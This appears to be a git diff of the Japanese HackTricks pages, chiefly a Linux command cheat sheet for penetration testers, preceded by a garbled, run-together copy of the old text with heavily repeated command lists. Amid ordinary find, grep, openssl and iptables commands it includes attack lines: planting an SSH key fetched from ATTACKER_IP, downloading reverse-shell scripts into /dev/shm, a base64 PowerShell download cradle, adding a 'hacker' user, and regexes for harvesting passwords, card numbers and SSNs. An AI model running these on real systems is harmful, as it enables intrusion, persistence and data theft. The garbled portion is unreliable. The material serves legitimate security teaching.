(?=\[0-9X]{10}$|(?=(?:\[0-9]+\[- ]){3})\[- 0-9X]{13}$|97\[89]\[0-9]{10}$|(?=(?:\[0-9]+\[- ]){4})\[- 0-9]{17}$)(?:97\[89]\[- ]?)?\[0-9]{1,5}\[- ]?\[0-9]+\[- ]?\[0-9]+\[- ]?\[0-9X]\b" \*.txt > isbn.txt**検索**# Find SUID set files.find / -perm /u=s -ls 2>/dev/null# Find SGID set files.find / -perm /g=s -ls 2>/dev/null# Found Readable directory and sort by time. (depth = 4)find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r# Found Writable directory and sort by time. (depth = 10)find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r# Or Found Own by Current User and sort by time. (depth = 10)find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r# Or Found Own by Current Group ID and Sort by time. (depth = 10)find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r# Found Newer files and sort by time. (depth = 5)find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less# Found Newer files only and sort by time. (depth = 5)find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less# Found Newer directory only and sort by time. (depth = 5)find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less**Nmap検索のヘルプ**#Nmap scripts ((default or version) and smb))nmap --script-help "(default or version) and \*smb\*"locate -r '\\.nse$' | xargs grep categories | grep 'default\\|version\\|safe' | grep smbnmap --script-help "(default or version) and smb)"**BashDescriptionBash is a Unix shell and command language. It is the default shell on most Linux distributions and macOS.Useful Commands`history`: Displays the command history.`alias`: Creates an alias for a command.`unalias`: Removes an alias.`source`: Executes commands from a file in the current shell.`echo $SHELL`: Displays the current shell.`echo $0`: Displays the name of the shell or script.`echo $PATH`: Displays the directories where the shell looks for commands.`which [command]`: Displays the location of a command.`type [command]`: Displays how a command is interpreted.`man [command]`: Displays the manual for a command.`apropos [keyword]`: Searches the manual page names and descriptions for a keyword.`whatis [command]`: Displays a one-line description of a command.`whereis [command]`: Displays the binary, source, and manual page files for a command.`help [builtin]`: Displays help information for shell builtins.`exit`: Exits the shell.`Ctrl + C`: Interrupts the current command.`Ctrl + Z`: Suspends the current command.`bg`: Resumes a suspended command in the background.`fg`: Brings a background command to the foreground.`jobs`: Lists the current jobs.`kill [PID]`: Sends a signal to a process.`ps`: Displays information about processes.`top`: Displays real-time system information.`uptime`: Displays how long the system has been running.`free`: Displays memory usage.`df`: Displays disk space usage.`du`: Displays file and directory disk usage.`ls`: Lists directory contents.`cd`: Changes the current directory.`pwd`: Displays the current working directory.`mkdir`: Creates a new directory.`rm`: Removes files or directories.`cp`: Copies files or directories.`mv`: Moves or renames files or directories.`touch`: Creates an empty file or updates the access and modification times of a file.`cat`: Concatenates and displays file contents.`more`: Displays file contents one screen at a time.`less`: Displays file contents with advanced features.`head`: Displays the beginning of a file.`tail`: Displays the end of a file.`grep`: Searches for patterns in files.`find`: Searches for files and directories.`wc`: Displays the number of lines, words, and characters in a file.`chmod`: Changes file permissions.`chown`: Changes file owner and group.`chgrp`: Changes file group ownership.`ln`: Creates links between files.`tar`: Archives files.`gzip`: Compresses files.`gunzip`: Decompresses files.`ssh`: Connects to a remote machine using SSH.`scp`: Copies files securely between hosts.`rsync`: Syncs files and directories between hosts.`wget`: Downloads files from the web.`curl`: Transfers data from or to a server.`ping`: Tests network connectivity.`traceroute`: Traces the route to a host.`ifconfig`: Configures network interfaces.`netstat`: Displays network connections.`iptables`: Manages firewall rules.`systemctl`: Controls the systemd system and service manager.`journalctl`: Views and manages journal logs.`crontab`: Manages cron jobs.`at`: Schedules commands to be executed at a later time.`watch`: Executes a program periodically.`lsof`: Lists open files.`ss`: Displays socket statistics.`strace`: Traces system calls and signals.`tcpdump`: Captures and analyzes network traffic.`nc`: Netcat utility for reading from and writing to network connections.`awk`: Processes and analyzes text files.`sed`: Edits text using scripts.`grep`: Searches for patterns in files.`sort`: Sorts lines of text.`uniq`: Filters adjacent matching lines.`cut`: Extracts sections from each line of a file.`paste`: Merges lines from multiple files.`diff`: Compares files line by line.`patch`: Applies changes to files.`tr`: Translates or deletes characters.`tee`: Reads from standard input and writes to standard output and files.`xargs`: Builds and executes command lines from standard input.`bc`: Calculator.`date`: Displays or sets the system date and time.`cal`: Displays a calendar.`uptime`: Displays how long the system has been running.`who`: Displays who is logged on.`w`: Displays who is logged on and what they are doing.`last`: Displays last logins.`uname`: Displays system information.`hostname`: Displays or sets the system's hostname.`dmesg`: Displays boot messages.`lsmod`: Displays loaded kernel modules.`modinfo`: Displays information about a kernel module.`modprobe`: Adds or removes kernel modules from the Linux kernel.`insmod`: Inserts a module into the Linux kernel.`rmmod`: Removes a module from the Linux kernel.`journalctl`: Views and manages the systemd journal.`systemctl`: Controls the systemd system and service manager.`timedatectl`: Controls the system time and date.`hostnamectl`: Controls the system hostname.`loginctl`: Controls the systemd login manager.`chage`: Changes user password expiry information.`passwd`: Changes user password.`useradd`: Adds a new user.`userdel`: Deletes a user.`usermod`: Modifies a user.`groupadd`: Adds a new group.`groupdel`: Deletes a group.`groupmod`: Modifies a group.`chown`: Changes file owner and group.`chmod`: Changes file permissions.`chgrp`: Changes file group ownership.`su`: Switches user.`sudo`: Executes a command as another user.`visudo`: Edits the sudoers file.`adduser`: Adds a new user and configures the account.`deluser`: Deletes a user and their configuration files.`passwd`: Changes user password.`usermod`: Modifies a user account.`groupadd`: Adds a new group.`groupdel`: Deletes a group.`groupmod`: Modifies a group.`chage`: Changes user password expiry information.`chsh`: Changes the user's login shell.`id`: Displays user and group information.`whoami`: Displays the current user.`groups`: Displays the groups a user is in.`w`: Displays who is logged on and what they are doing.`last`: Displays last logins.`finger`: Displays information about users.`ps`: Displays information about processes.`top`: Displays real-time system information.`kill`: Sends a signal to a process.`killall`: Kills processes by name.`pkill`: Sends a signal to processes based on name.`pgrep`: Looks up processes based on name.`nice`: Runs a command with modified scheduling priority.`renice`: Alters the priority of running processes.`at`: Schedules commands to be executed at a later time.`batch`: Executes commands when system load levels permit.`crontab`: Manages cron jobs.`watch`: Executes a program periodically.`uptime`: Displays how long the system has been running.`free`: Displays memory usage.`vmstat`: Displays virtual memory statistics.`iostat`: Displays I/O statistics.`sar`: Collects and reports system activity information.`lsof`: Lists open files.`netstat`: Displays network connections.`ss`: Displays socket statistics.`tcpdump`: Captures and analyzes network traffic.`strace`: Traces system calls and signals.`ltrace`: Traces library calls.`ldd`: Displays shared library dependencies.`nm`: Lists symbols from object files.`objdump`: Displays information from object files.`readelf`: Displays information about ELF files.`file`: Determines file type.`strings`: Finds printable strings in files.`hexdump`: Displays file contents in hexadecimal.`xxd`: Creates a hex dump of a file.`diff`: Compares files line by line.`patch`: Applies changes to files.`wc`: Displays the number of lines, words, and characters in a file.`grep`: Searches for patterns in files.`sed`: Edits text using scripts.`awk`: Processes and analyzes text files.`cut`: Extracts sections from each line of a file.`sort`: Sorts lines of text.`uniq`: Filters adjacent matching lines.`tr`: Translates or deletes characters.`tee`: Reads from standard input and writes to standard output and files.`xargs`: Builds and executes command lines from standard input.`bc`: Calculator.`expr`: Evaluates expressions.`seq`: Generates sequences of numbers.`bc`: Calculator.`dc`: Desk calculator.`factor`: Factors numbers.`pr`: Formats files for printing.`fold`: Wraps lines to fit a specified width.`fmt`: Formats text for printing.`nl`: Numbers lines in a file.`od`: Dumps files in octal and other formats.`join`: Joins lines of two files on a common field.`paste`: Merges lines from multiple files.`sort`: Sorts lines of text.`shuf`: Shuffles input lines.`split`: Splits files into pieces.`tr`: Translates or deletes characters.`uniq`: Filters adjacent matching lines.`wc`: Displays the number of lines, words, and characters in a file.`head`: Displays the beginning of a file.`tail`: Displays the end of a file.`cat`: Concatenates and displays file contents.`tac`: Concatenates and displays file contents in reverse.`rev`: Reverses lines in a file.`grep`: Searches for patterns in files.`sed`: Edits text using scripts.`awk`: Processes and analyzes text files.`diff`: Compares files line by line.`patch`: Applies changes to files.`tar`: Archives files.`gzip`: Compresses files.`gunzip`: Decompresses files.`bzip2`: Compresses files using the Burrows-Wheeler algorithm.`bzcat`: Decompresses files compressed by bzip2.`xz`: Compresses files using the LZMA algorithm.`unxz`: Decompresses files compressed by xz.`lzma`: Compresses files using the LZMA algorithm.`unlzma`: Decompresses files compressed by lzma.`zip`: Archives files using the ZIP format.`unzip`: Extracts files from ZIP archives.`7z`: Archives files using the 7z format.`unrar`: Extracts files from RAR archives.`tar`: Archives files.`gzip`: Compresses files.`gunzip`: Decompresses files.`bzip2`: Compresses files using the Burrows-Wheeler algorithm.`bzcat`: Decompresses files compressed by bzip2.`xz`: Compresses files using the LZMA algorithm.`unxz`: Decompresses files compressed by xz.`lzma`: Compresses files using the LZMA algorithm.`unlzma`: Decompresses files compressed by lzma.`zip`: Archives files using the ZIP format.`unzip`: Extracts files from ZIP archives.`7z`: Archives files using the 7z format.`unrar`: Extracts files from RAR archives.`tar`: Archives files.`gzip`: Compresses files.`gunzip`: Decompresses files.`bzip2`: Compresses files using the Burrows-Wheeler algorithm.`bzcat`: Decompresses files compressed by bzip2.`xz`: Compresses files using the LZMA algorithm.`unxz`: Decompresses files compressed by xz.`lzma`: Compresses files using the LZMA algorithm.`unlzma`: Decompresses files compressed by lzma.`zip`: Archives files using the ZIP format.`unzip`: Extracts files from ZIP archives.`7z`: Archives files using the 7z format.`unrar`: Extracts files from RAR archives.**#All bytes inside a file (except 0x20 and 0x00)for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\\|00"); do echo -n -e "\x$j" >> bytes; done**Iptables概要IptablesはLinuxシステムで使用されるファイアウォールユーティリティです。ネットワークトラフィックを監視し、許可された通信のみを許可するためのルールを設定することができます。一般的なコマンド以下はIptablesでよく使用されるコマンドの一部です。`iptables -L`: 現在のファイアウォールルールをリスト表示します。`iptables -F`: すべてのファイアウォールルールをフラッシュ(削除)します。`iptables -A`: ファイアウォールルールに新しいルールを追加します。`iptables -D`: ファイアウォールルールから特定のルールを削除します。例**# ファイアウォールルールをリスト表示iptables -L# ファイアウォールルールに新しいルールを追加iptables -A INPUT -s 192.168.1.1 -j ACCEPT# ファイアウォールルールから特定のルールを削除iptables -D INPUT -s 192.168.1.1 -j ACCEPT#Delete curent rules and chainsiptables --flushiptables --delete-chain#allow loopbackiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT#drop ICMPiptables -A INPUT -p icmp -m icmp --icmp-type any -j DROPiptables -A OUTPUT -p icmp -j DROP#allow established connectionsiptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT#allow ssh, http, https, dnsiptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPTiptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPTiptables -A INPUT -p udp -m udp --sport 53 -j ACCEPTiptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPTiptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPTiptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT#default policiesiptables -P INPUT DROPiptables -P FORWARD ACCEPTiptables -P OUTPUT ACCEPT\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:** +## Common Bash +```bash +#Exfiltration using Base64 +base64 -w 0 file + +#Get HexDump without new lines +xxd -p boot12.bin | tr -d '\n' + +#Add public key to authorized keys +curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys + +#Echo without new line and Hex +echo -n -e + +#Count +wc -l #Lines +wc -c #Chars + +#Sort +sort -nr #Sort by number and then reverse +cat file | sort | uniq #Sort and delete duplicates + +#Replace in file +sed -i 's/OLD/NEW/g' path/file #Replace string inside a file + +#Download in RAM +wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py +wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm +curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py + +#Files used by network processes +lsof #Open files belonging to any process +lsof -p 3 #Open files used by the process +lsof -i #Files used by networks processes +lsof -i 4 #Files used by network IPv4 processes +lsof -i 6 #Files used by network IPv6 processes +lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 +lsof +D /lib #Processes using files inside the indicated dir +lsof -i :80 #Files uses by networks processes +fuser -nv tcp 80 + +#Decompress +tar -xvzf /path/to/yourfile.tgz +tar -xvjf /path/to/yourfile.tbz +bzip2 -d /path/to/yourfile.bz2 +tar jxf file.tar.bz2 +gunzip /path/to/yourfile.gz +unzip file.zip +7z -x file.7z +sudo apt-get install xz-utils; unxz file.xz + +#Add new user +useradd -p 'openssl passwd -1 ' hacker + +#Clipboard +xclip -sel c < cat file.txt + +#HTTP servers +python -m SimpleHTTPServer 80 +python3 -m http.server +ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" +php -S $ip:80 + +#Curl +#json data +curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint +#Auth via JWT +curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint + +#Send Email +sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content + +#DD copy hex bin file without first X (28) bytes +dd if=file.bin bs=28 skip=1 of=blob + +#Mount .vhd files (virtual hard drive) +sudo apt-get install libguestfs-tools +guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd + +# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys +ssh-keyscan 10.10.10.101 + +# Openssl +openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server +openssl x509 -in ca.cert.pem -text #Read certificate +openssl genrsa -out newuser.key 2048 #Create new RSA2048 key +openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) +openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate +openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate +openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) +# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: +openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 +# Decrypt ssh key +openssl rsa -in key.ssh.enc -out key.ssh +#Decrypt +openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz + +#Count number of instructions executed by a program, need a host based linux (not working in VM) +perf stat -x, -e instructions:u "ls" + +#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 +find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null + +#Reconfigure timezone +sudo dpkg-reconfigure tzdata + +#Search from which package is a binary +apt-file search /usr/bin/file #Needed: apt-get install apt-file + +#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html +echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw + +#Set not removable bit +sudo chattr +i file.txt +sudo chattr -i file.txt #Remove the bit so you can delete it + +# List files inside zip +7z l file.zip +``` +
+ +\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## Windows用のBash +```bash +#Base64 for Windows +echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 + +#Exe compression +upx -9 nc.exe + +#Exe2bat +wine exe2bat.exe nc.exe nc.txt + +#Compile Windows python exploit to exe +pip install pyinstaller +wget -O exploit.py http://www.exploit-db.com/download/31853 +python pyinstaller.py --onefile exploit.py + +#Compile for windows +#sudo apt-get install gcc-mingw-w64-i686 +i686-mingw32msvc-gcc -o executable useradd.c +``` +## グレップ +```bash +#Extract emails from file +grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt + +#Extract valid IP addresses +grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt + +#Extract passwords +grep -i "pwd\|passw" file.txt + +#Extract users +grep -i "user\|invalid\|authentication\|login" file.txt + +# Extract hashes +#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) +egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt +#Extract valid MySQL-Old hashes +grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt +#Extract blowfish hashes +grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt +#Extract Joomla hashes +egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt +#Extract VBulletin hashes +egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt +#Extraxt phpBB3-MD5 +egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt +#Extract Wordpress-MD5 +egrep -o '$P$S{31}' *.txt > wordpress-md5.txt +#Extract Drupal 7 +egrep -o '$S$S{52}' *.txt > drupal-7.txt +#Extract old Unix-md5 +egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt +#Extract md5-apr1 +egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt +#Extract sha512crypt, SHA512(Unix) +egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt + +#Extract e-mails from text files +grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt + +#Extract HTTP URLs from text files +grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt +#For extracting HTTPS, FTP and other URL format use +grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt +#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" + +#Extract Floating point numbers +grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt + +# Extract credit card data +#Visa +grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt +#MasterCard +grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt +#American Express +grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt +#Diners Club +grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt +#Discover +grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt +#JCB +grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt +#AMEX +grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt + +# Extract IDs +#Extract Social Security Number (SSN) +grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt +#Extract Indiana Driver License Number +grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt +#Extract US Passport Cards +grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt +#Extract US Passport Number +grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt +#Extract US Phone Numberss +grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt +#Extract ISBN Numbers +egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt +``` +## 検索 +```bash +# Find SUID set files. +find / -perm /u=s -ls 2>/dev/null + +# Find SGID set files. +find / -perm /g=s -ls 2>/dev/null + +# Found Readable directory and sort by time. (depth = 4) +find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r + +# Found Writable directory and sort by time. (depth = 10) +find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r + +# Or Found Own by Current User and sort by time. (depth = 10) +find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r + +# Or Found Own by Current Group ID and Sort by time. (depth = 10) +find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r + +# Found Newer files and sort by time. (depth = 5) +find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less + +# Found Newer files only and sort by time. (depth = 5) +find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less + +# Found Newer directory only and sort by time. (depth = 5) +find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less +``` +## Nmap検索ヘルプ +```bash +#Nmap scripts ((default or version) and smb)) +nmap --script-help "(default or version) and *smb*" +locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb +nmap --script-help "(default or version) and smb)" +``` +## Bash + +BashはGNUプロジェクトの一部として開発されたUnixシェルおよびスクリプト言語です。BashはLinuxシステムで広く使用されており、システム管理や自動化のための多くの便利なコマンドを提供します。 +```bash +#All bytes inside a file (except 0x20 and 0x00) +for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done +``` +## Iptables + +## Iptables +```bash +#Delete curent rules and chains +iptables --flush +iptables --delete-chain + +#allow loopback +iptables -A INPUT -i lo -j ACCEPT +iptables -A OUTPUT -o lo -j ACCEPT + +#drop ICMP +iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP +iptables -A OUTPUT -p icmp -j DROP + +#allow established connections +iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT + +#allow ssh, http, https, dns +iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT +iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT +iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT +iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT +iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT +iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT + +#default policies +iptables -P INPUT DROP +iptables -P FORWARD ACCEPT +iptables -P OUTPUT ACCEPT +``` +
+ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) + +HackTricks をサポートする他の方法: + +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに + +
+ +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 85369f1b1..72adbc78d 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -7,19 +7,19 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 -- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 +- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングテクニックを共有**してください。 -このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に基づいており、**Autostart Locationsを追加**(可能であれば)、**最新バージョンのmacOS(13.4)**で**動作しているテクニック**を示し、**必要な権限**を指定することを目的としています。 +このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に大きく基づいており、目標は**Autostart Locationsを追加**(可能であれば)、最新バージョンのmacOS(13.4)で**動作しているテクニック**を示し、**必要な権限**を指定することです。 ## サンドボックス回避 {% hint style="success" %} -ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**、非常に**一般的な** **アクション**、特定の**時間**、または**通常サンドボックス内でルート権限を必要とせずに実行できるアクション**を**待機**することができます。 +ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**、非常に**一般的な** **アクション**、特定の**時間**、または通常**ルート権限が必要ないサンドボックス内で実行できる**アクション**を**待機**することができます。 {% endhint %} ### 